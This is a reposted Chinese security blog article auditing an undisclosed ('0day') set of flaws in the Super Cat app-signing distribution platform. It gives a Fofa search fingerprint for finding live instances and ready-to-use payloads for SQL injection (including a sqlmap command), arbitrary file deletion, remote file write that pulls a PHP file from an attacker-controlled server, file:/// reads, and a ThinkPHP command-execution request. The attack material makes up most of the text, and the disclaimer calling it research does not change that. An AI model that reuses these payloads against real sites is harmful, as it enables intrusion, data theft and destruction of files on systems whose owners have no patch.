(0day)超级猫签名APP分发平台RCE漏洞审计

admin 2024年7月30日07:55:51评论114 views字数 4617阅读15分23秒阅读模式

0x00 前言

超级猫超级签名分发平台是一个安卓苹果APP分发平台,能够对所有安卓苹果的APP进行签名分发,使所有自行开发的APP能够签名使用,包括登录注册等功能,还提供有SDK    Fofa:"/themes/97013266/public/static/css/pc.css"

(0day)超级猫签名APP分发平台RCE漏洞审计(0day)超级猫签名APP分发平台RCE漏洞审计(0day)超级猫签名APP分发平台RCE漏洞审计

开发框架:ThinkPHP,ThinkAdmin Debug:True

0x01 前台SQL注入漏洞

位于 /user/controller/InstallController.php 控制器的 downfile_ios 方法通过$_GET传入参数id 赋值给$url变量,然后直接被插入到SELECT查询字句中,因为$_GET为原生函数,所以TP的路由并没有过滤它.

//ios下载public function downfile_ios(){    //$url=$_SERVER['HTTP_REFERER'];    $url = $_GET['id'];    //  $url='http://y14.com/D614';    $result = Db::name("user_posted")->where("er_logo='$url' and endtime>" . time())->find();    $this->assign('result', $result);    echo $this->fetch('../app/user/view/install/downfile_ios.xml');    exit;  }

因此处并无鉴权,所以可直接注入,Payload:

GET /user/install/downfile_ios?id=') UNION ALL SELECT NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - HTTP/1.1Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 127.0.0.1:81Accept: */*Accept-Encoding: gzip, deflateConnection: close

(0day)超级猫签名APP分发平台RCE漏洞审计

python sqlmap.py -u "http://127.0.0.1:81/user/install/downfile_ios?id=*" --level=3 --dbms=mysql

(0day)超级猫签名APP分发平台RCE漏洞审计

0x02 前台任意文件删除漏洞

位于 /portal/controller/IndexController.php 控制器中的deldir 方法存在unlink函数,且对传参无明显过滤,导致漏洞产生!

function deldir($path){  //如果是目录则继续  if(is_dir($path)){    //扫描一个文件夹内的所有文件夹和文件并返回数组    $p = scandir($path);    foreach($p as $val){      //排除目录中的.和..      if($val !="." && $val !=".."){        //如果是目录则递归子目录,继续操作        if(is_dir($path.$val)){          //子目录中操作删除文件夹和文件          $this->deldir($path.$val.'/');          //目录清空后删除空文件夹          @rmdir($path.$val.'/');        }else{          //如果是文件直接删除          unlink($path.$val);        }      }    }  }}

通过传入 ../即可跨到根目录上,并递归删除根目录目标文件夹中的所有文件

Payload:

/portal/Index/deldir?path=../1/

(0day)超级猫签名APP分发平台RCE漏洞审计

0x03 前台远程文件写入漏洞

位于 /user/controller/ProfileController.php 控制器的 Download 方法通过curl_exec函数访问网络文件,并且将文件内容保存在任意目录中,导致漏洞产生,通过传入$url 赋值远程文件,$path赋值要写入的文件路径.

//下载图片public function download($url, $path = 'upload/img/'){    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);    //关闭https验证    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);    $file = curl_exec($ch);    curl_close($ch);    $filename = pathinfo($url, PATHINFO_BASENAME);    $resource = fopen($path . $filename, 'a');    fwrite($resource, $file);    fclose($resource);    return "/" . $path . $filename;  }

注意这里需要先登录,这处可以直接注册的.

(0day)超级猫签名APP分发平台RCE漏洞审计

然后我们使用云服务器,在其根目录放一个111.php 内容如下

<?phpecho '<?php phpinfo();?>';?>

之后使用Payload:

/user/profile/download?url=http://云服务器地址/111.php&path=1

即可将远程文件写入到public目录的1111.php 中.

(0day)超级猫签名APP分发平台RCE漏洞审计

这里也是一处任意文件读取的地方,可以直接使用file:///协议读取本机上的任意文件,但遗憾的是不支持伪协议

Payload:

/user/profile/download?url=file:///C:/windows/win.ini&path=1

(0day)超级猫签名APP分发平台RCE漏洞审计

0x04 前台任意文件读取漏洞

位于 /user/controller/ProfileController.php 控制器的 filesd 方法存在curl_exec函数,且传参均可控,导致漏洞产生

//获取文件信息public function filesd($file, $url){    header("Content-type: text/html; charset=utf-8");    // $filePath =dirname(__FILE__)."/../../../public/upload/app/".$file;    $filePath = "upload/app/" . $file;    $post_data = array(      "package" => "@" . $filePath   //要上传的本地文件地址    );    $ch = curl_init();    if (class_exists('CURLFile')) {      $post_data['package'] = new CURLFile(realpath($filePath));    } else {      if (defined('CURLOPT_SAFE_UPLOAD')) {        curl_setopt($ch, CURLOPT_SAFE_UPLOAD, FALSE);      }    }    //关闭https验证    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);    $output = curl_exec($ch);    curl_close($ch);    return $output;  }

我们只需GET传入url和file参数即可(注意这里也要登录) Payload:

/user/profile/filesd?file=1&url=file:///C:/windows/win.ini

(0day)超级猫签名APP分发平台RCE漏洞审计

0x05 前台任意命令执行漏洞

由于TP版本为5.0.11 满足TP<=5.0.24的历史命令执行漏洞,所以存在前台RCE漏洞,具体网上有文章,这里不分析了.

Payload:

POST /index.php?s=captcha HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 67Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1:81Origin: http://127.0.0.1:81Referer: http://127.0.0.1:81/index.php?s=captchaSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1_method=__construct&filter[]=system&get[]=whoami&method=get

(0day)超级猫签名APP分发平台RCE漏洞审计

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转,RCE

签名分发源码关注公众号发送 qm 获取

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):(0day)超级猫签名APP分发平台RCE漏洞审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月30日07:55:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (0day)超级猫签名APP分发平台RCE漏洞审计https://cn-sec.com/archives/3005168.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息